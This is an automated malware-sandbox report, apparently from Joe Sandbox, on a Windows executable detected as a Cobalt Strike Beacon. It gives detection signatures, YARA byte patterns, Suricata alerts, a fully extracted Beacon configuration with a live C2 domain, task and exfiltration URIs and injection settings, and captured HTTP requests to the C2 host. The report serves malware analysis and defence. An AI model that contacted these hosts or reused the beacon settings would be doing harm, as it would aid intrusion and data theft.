Edit tour

Windows Analysis Report
hrupdate.exe

Overview

General Information

Sample name:	hrupdate.exe
Analysis ID:	1578569
MD5:	03b14e9338a1c9e5551f9450207f6d84
SHA1:	f1a816c47637c8d4d0b52b333cba11b0d7571fcb
SHA256:	7a4d2b3e83220df7a55944a838bb9ebaa8f8463cff62fa92ae10e640eeb4e498
Tags:	CobaltStrikeexeuser-smica83
Infos:

Detection

CobaltStrike

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected CobaltStrike

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Machine Learning detection for sample

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

hrupdate.exe (PID: 6664 cmdline: "C:\Users\user\Desktop\hrupdate.exe" MD5: 03B14E9338A1C9E5551F9450207F6D84)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus Earth Baxia FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa http://www.secureworks.com/research/threat-profiles/gold-drake	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 15000, "MaxGetSize": 2801745, "Jitter": 37, "C2Server": "www.hrtraining.ro,/rss/portallogin-gettask.html", "HttpPostUri": "/rss/portallogin-sendlogin.html", "Malleable_C2_Instructions": ["Remove 1522 bytes from the end", "Remove 84 bytes from the beginning", "Remove 3931 bytes from the beginning", "Base64 URL-safe decode", "XOR mask w/ random key"], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe", "Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 309948737, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 17500, "ProcInject_PrependAppend_x86": ["kJA=", "Empty"], "ProcInject_PrependAppend_x64": ["kJA=", "Empty"], "ProcInject_Execute": ["ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "True", "HostHeader": ""}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x13d0d4:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x13dd7f:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
dump.pcap	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x16f889:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
dump.pcap	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x16f8f5:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
dump.pcap	Trojan_Raw_Generic_4	unknown	unknown	0x13da05:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x13e073:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.3588908785.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x886:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.3588908785.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x8f2:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.3567810102.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x886:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.3567810102.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x8f2:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.3867809207.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x886:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.3867809207.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x8f2:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.3897384147.00000000046CE000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x1af:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.3897384147.00000000046CE000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x21b:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.3896833882.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x886:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.3896833882.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x8f2:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0xbbd9:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0xc7ac:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x397e0:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x3984c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0xc4c4:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0xca5a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0xbb91:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0xc764:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x39798:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x39804:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0xc47c:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0xca12:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0xb5ef:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0xc1c2:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x44c7f:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x45852:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x391f6:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61 0x72886:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x39262:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1 0x728f2:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0xbeda:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x4556a:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0xc470:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ... 0x45b00:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Process Memory Space: hrupdate.exe PID: 6664	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
Process Memory Space: hrupdate.exe PID: 6664	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Click to see the 26 entries

Suricata Signatures

ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T22:47:48.218861+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.5	49946	TCP
2024-12-19T22:48:03.798139+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.5	49979	TCP
2024-12-19T22:48:15.611444+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.5	49980	TCP
2024-12-19T22:48:29.363989+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.5	49981	TCP
2024-12-19T22:48:46.486255+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.5	49982	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T22:45:43.281672+0100	2803305	3	Unknown Traffic	192.168.2.5	49704	3.79.209.76	80	TCP
2024-12-19T22:47:44.887661+0100	2803305	3	Unknown Traffic	192.168.2.5	49938	3.79.209.76	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 15000, "MaxGetSize": 2801745, "Jitter": 37, "C2Server": "www.hrtraining.ro,/rss/portallogin-gettask.html", "HttpPostUri": "/rss/portallogin-sendlogin.html", "Malleable_C2_Instructions": ["Remove 1522 bytes from the end", "Remove 84 bytes from the beginning", "Remove 3931 bytes from the beginning", "Base64 URL-safe decode", "XOR mask w/ random key"], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe", "Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 309948737, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 17500, "ProcInject_PrependAppend_x86": ["kJA=", "Empty"], "ProcInject_PrependAppend_x64": ["kJA=", "Empty"], "ProcInject_Execute": ["ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "True", "HostHeader": ""}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: hrupdate.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_046A5173 CryptAcquireContextA,CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

0_2_046A5173

Source: hrupdate.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 3.79.209.76:443 -> 192.168.2.5:49946 version: TLS 1.2

Source: hrupdate.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dan\source\repos\hrtraining\Release\hrupdate.pdb source: hrupdate.exe
Source:	Binary string: C:\Users\dan\source\repos\hrtraining\Release\hrupdate.pdb%% source: hrupdate.exe

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_0469F544 _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,		0_2_0469F544
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04699839 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_04699839

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.5:49946
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.5:49979
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.5:49981
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.5:49980
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.5:49982

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.hrtraining.ro

Source: global traffic	HTTP traffic detected: GET /trakingu/user HTTP/1.0Host: www.hrtraining.ro
Source: global traffic	HTTP traffic detected: GET /trainingcheck_v5498 HTTP/1.0Host: www.hrtraining.ro

Source: Joe Sandbox View

ASN Name: AMAZON-02US AMAZON-02US

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49704 -> 3.79.209.76:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49938 -> 3.79.209.76:80

Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_00671CA0 _invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,memcpy,memchr,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,socket,inet_addr,inet_addr,gethostbyname,inet_addr,gethostbyaddr,htons,connect,closesocket,send,memset,recv,realloc,memcpy,memset,recv,strstr,strstr,memcpy,strncpy,closesocket,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00671CA0

Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
